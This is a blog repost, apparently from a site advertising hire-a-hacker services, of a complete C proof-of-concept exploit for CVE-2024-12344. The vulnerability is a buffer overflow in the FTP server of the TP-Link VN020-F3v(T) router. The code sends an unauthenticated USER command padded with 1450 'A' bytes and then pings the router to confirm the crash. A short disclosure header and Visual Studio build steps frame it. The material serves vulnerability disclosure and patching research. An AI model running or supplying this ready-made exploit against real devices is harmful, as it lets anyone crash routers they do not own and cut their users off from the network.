Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86388153

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
* Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption
* Date: 11/24/2024
* Exploit Author: Mohamed Maatallah
* Vendor Homepage: https://www.tp-link.com
* Version: TT_V6.2.1021 (VN020-F3v(T))
* Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
* CVE: CVE-2024-12344
* Category: Remote

* Description:
* A critical buffer overflow and memory corruption vulnerability was discovered in TP-Link VN020-F3v(T) router's FTP server implementation. The vulnerability stems from improper input validation of the USER command, allowing unauthenticated attackers to trigger various failure modes through payload size manipulation:

* 1. 1100 bytes - Delayed crash (5-10 seconds)
* 2. 1450 bytes - Immediate crash
* 3. >1450 bytes - Undefined behavior/state corruption

* Proof of Concept: (attached full c file)
 * Compilation Instructions (Visual Studio):
 * ---------------------------------------
 * 1. Open Visual Studio
 * 2. Create a new C Console Application
 * 3. Add these additional dependencies to project settings:
 *    - ws2_32.lib
 *    - iphlpapi.lib
 * 4. Ensure Windows SDK is installed
 * 5. Set Platform Toolset to latest v143 or v142
 * 6. Compile in Release or Debug mode
 *
 * Disclaimer:
 * ----------
 * This proof of concept is for educational and research purposes only.
 * Unauthorized testing without explicit permission is unethical and illegal.
 */

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdint.h>
#include <windows.h>
#include <iphlpapi.h>
#include <icmpapi.h>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")

 // Target configuration - MODIFY BEFORE TESTING
#define DEST_IP "192.168.1.1"     // IP of target FTP server
#define DEST_PORT 21               // Standard FTP port
#define PING_TIMEOUT_MS 1000       // Network timeout
#define MAX_PING_RETRIES 5         // Connectivity check attempts

// 1450: Instant
// 1100: Delayed
#define CRASH_STRING_LENGTH 1450   // Exact number of 'A's triggering instantcrash
#define TOTAL_PAYLOAD_LENGTH (CRASH_STRING_LENGTH + 5 + 2)  // USER + As + \r\n

typedef struct {
    HANDLE icmp_handle;
    IPAddr target_addr;
    LPVOID reply_buffer;
    DWORD reply_size;
} ping_context_t;

void log_msg(const char* prefix, const char* msg) {
    SYSTEMTIME st;
    GetLocalTime(&st);
    printf("[%02d:%02d:%02d] %s %s\n", st.wHour, st.wMinute, st.wSecond, prefix, msg);
}

void hexdump(const char* desc, const void* addr, const int len) {
    int i;
    unsigned char buff[17];
    const unsigned char* pc = (const unsigned char*)addr;

    if (desc != NULL)
        printf("%s:\n", desc);

    for (i = 0; i < len; i++) {
        if ((i % 16) == 0) {
            if (i != 0)
                printf("  %s\n", buff);
            printf("  %04x ", i);
        }

        printf(" %02x", pc[i]);

        if ((pc[i] < 0x20) || (pc[i] > 0x7e))
            buff[i % 16] = '.';
        else
            buff[i % 16] = pc[i];
        buff[(i % 16) + 1] = '\0';
    }

    while ((i % 16) != 0) {
        printf("   ");
        i++;
    }

    printf("  %s\n", buff);
}

BOOL check_connectivity(ping_context_t* ctx) {
    char send_buf[32] = { 0 };
    return IcmpSendEcho(ctx->icmp_handle, ctx->target_addr, send_buf, sizeof(send_buf),
        NULL, ctx->reply_buffer, ctx->reply_size, PING_TIMEOUT_MS) > 0;
}

char* generate_exact_crash_payload() {
    char* payload = (char*)malloc(TOTAL_PAYLOAD_LENGTH + 1);  // +1 for null terminator
    if (!payload) {
        log_msg("[-]", "Failed to allocate payload memory");
        return NULL;
    }

    // Construct the exact payload that causes crash
    strcpy(payload, "USER ");                            // 5 bytes
    memset(payload + 5, 'A', CRASH_STRING_LENGTH);      // 1450 'A's
    memcpy(payload + 5 + CRASH_STRING_LENGTH, "\r\n", 2); // 2 bytes
    payload[TOTAL_PAYLOAD_LENGTH] = '\0';

    char debug_msg[100];
    snprintf(debug_msg, sizeof(debug_msg), "Generated payload of length %d ('A's + 5 byte prefix + 2 byte suffix)",
        TOTAL_PAYLOAD_LENGTH);
    log_msg("[*]", debug_msg);

    return payload;
}

BOOL send_crash_payload(const char* target_ip, uint16_t target_port) {
    WSADATA wsa;
    SOCKET sock = INVALID_SOCKET;
    struct sockaddr_in server;
    char server_reply[2048];
    int recv_size;
    ping_context_t ping_ctx = { 0 };
    BOOL success = FALSE;

    // Initialize Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        log_msg("[-]", "Winsock initialization failed");
        return FALSE;
    }

    // Setup ICMP for connectivity monitoring
    ping_ctx.icmp_handle = IcmpCreateFile();
    ping_ctx.reply_size = sizeof(ICMP_ECHO_REPLY) + 32;
    ping_ctx.reply_buffer = malloc(ping_ctx.reply_size);
    inet_pton(AF_INET, target_ip, &ping_ctx.target_addr);

    // Create socket
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == INVALID_SOCKET) {
        log_msg("[-]", "Socket creation failed");
        goto cleanup;
    }

    // Setup server address
    server.sin_family = AF_INET;
    server.sin_port = htons(target_port);
    inet_pton(AF_INET, target_ip, &server.sin_addr);

    // Connect to FTP server
    log_msg("[*]", "Connecting to target FTP server...");
    if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) {
        log_msg("[-]", "Connection failed");
        goto cleanup;
    }
    log_msg("[+]", "Connected successfully");

    // Verify initial connectivity
    if (!check_connectivity(&ping_ctx)) {
        log_msg("[-]", "No initial connectivity to target");
        goto cleanup;
    }

    // Receive banner
    if ((recv_size = recv(sock, server_reply, sizeof(server_reply) - 1, 0)) == SOCKET_ERROR) {
        log_msg("[-]", "Failed to receive banner");
        goto cleanup;
    }
    server_reply[recv_size] = '\0';
    log_msg("[*]", server_reply);

    // Generate and send the exact crash payload
    char* payload = generate_exact_crash_payload();
    if (!payload) {
        goto cleanup;
    }

    log_msg("[*]", "Sending crash payload...");
    hexdump("Payload hex dump (first 32 bytes)", payload, 32);

    if (send(sock, payload, TOTAL_PAYLOAD_LENGTH, 0) < 0) {
        log_msg("[-]", "Failed to send payload");
        free(payload);
        goto cleanup;
    }
    free(payload);
    log_msg("[+]", "Payload sent successfully");

    // Monitor for crash
    log_msg("[*]", "Monitoring target status...");
    Sleep(1000);  // Wait a bit for crash to take effect

    int failed_pings = 0;
    for (int i = 0; i < MAX_PING_RETRIES; i++) {
        if (!check_connectivity(&ping_ctx)) {
            failed_pings++;
            if (failed_pings >= 3) {
                log_msg("[+]", "Target crash confirmed!");
                success = TRUE;
                goto cleanup;
            }
        }
        Sleep(500);
    }

    log_msg("[-]", "Target appears to still be responsive");

cleanup:
    if (sock != INVALID_SOCKET) {
        closesocket(sock);
    }
    if (ping_ctx.icmp_handle != INVALID_HANDLE_VALUE) {
        IcmpCloseHandle(ping_ctx.icmp_handle);
    }
    if (ping_ctx.reply_buffer) {
        free(ping_ctx.reply_buffer);
    }
    WSACleanup();
    return success;
}

int main(void) {
    printf("\nTP-Link VN020 FTP Memory Corruption PoC\n");
    printf("---------------------------------------\n");
    printf("Target: %s:%d\n", DEST_IP, DEST_PORT);
    if (send_crash_payload(DEST_IP, DEST_PORT)) {
        printf("\nExploit successful - target crashed\n");
    }
    else {
        printf("\nExploit failed - target may be patched\n");
    }

    return 0;
}